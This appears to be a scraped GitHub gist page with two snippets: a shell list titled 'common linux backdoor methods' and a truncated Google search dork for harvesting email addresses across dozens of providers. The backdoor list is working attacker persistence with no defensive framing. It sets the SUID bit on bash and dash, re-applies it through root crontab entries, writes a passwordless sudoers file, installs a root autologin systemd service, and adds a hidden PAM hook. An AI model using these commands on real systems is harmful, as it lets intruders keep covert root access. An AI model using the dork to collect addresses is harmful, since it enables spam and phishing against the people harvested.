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azuk4r / linux-backdoors.sh
Last active October 27, 2025 16:39
common linux backdoor methods
# backdoors
chmod u+s /bin/bash
chmod u+s /bin/dash
echo '* * * * * root chmod u+s /bin/bash' >> /etc/crontab
echo '* * * * * root chmod u+s /bin/dash' >> /etc/crontab
echo 'username ALL=(ALL) NOPASSWD: /bin/bash' | sudo tee /etc/sudoers.d/backdoor > /dev/null && sudo chown root:root /etc/sudoers.d/backdoor && sudo chmod 440 /etc/sudoers.d/backdoor && sudo visudo -c
echo 'username ALL=(ALL) NOPASSWD: /bin/dash' | sudo tee /etc/sudoers.d/backdoor > /dev/null && sudo chown root:root /etc/sudoers.d/backdoor && sudo chmod 440 /etc/sudoers.d/backdoor && sudo visudo -c
echo -e "[Service]\nExecStart=/sbin/agetty --autologin root --noclear tty8 linux\nRestart=always\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/backdoor.service && systemctl enable backdoor.service && systemctl start backdoor.service
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /usr/local/bin/.backdoor && chmod +x /usr/local/bin/.backdoor && echo 'auth optional pam_exec.so expose_authtok /usr/local/bin/.backdoor' >> /etc/pam.d/common-a
@azuk4r
azuk4r / dork-emails.txt
Last active November 8, 2025 00:32
google dork to find emails by keywords
"KEYWORDS HERE" ("@gmail.com" OR "@outlook.com" OR "@hotmail.com" OR "@yahoo.com" OR "@yahoo.es" OR "@icloud.com" OR "@protonmail.com" OR "@proton.me" OR "@tutanota.com" OR "@tuta.io" OR "@mail.com" OR "@zoho.com" OR "@gmx.com" OR "@aol.com" OR "@ymail.com" OR "@rediffmail.com" OR "@seznam.cz" OR "@laposte.net" OR "@mail.ru" OR "@yandex.com" OR "@qq.com" OR "@163.com" OR "@126.com" OR "@skynet.be" OR "@fastmail.com" OR "@hushmail.com" OR "@mailbox.org" OR "@posteo.de" OR "@kolabnow.com" OR "@zoho.eu" OR "@mailfence.com" OR "@runbox.com" OR "@tutanota.de" OR "@verizon.net" OR "@att.net" OR "@comcast.net" OR "@earthlink.net" OR "@bellsouth.net" OR "@juno.com" OR "@aim.com" OR "@mac.com" OR "@me.com" OR "@btinternet.com" OR "@talktalk.net" OR "@virginmedia.com" OR "@sky.com" OR "@ntlworld.com" OR "@blueyonder.co.uk" OR "@hotmail.co.uk" OR "@yahoo.co.uk" OR "@live.co.uk" OR "@aol.co.uk" OR "@gmx.co.uk" OR "@zoho.co.uk" OR "@fastmail.co.uk" OR "@posteo.co.uk" OR "@keemail.me" OR "@mail.co.uk" OR "@web.de" OR "@t-o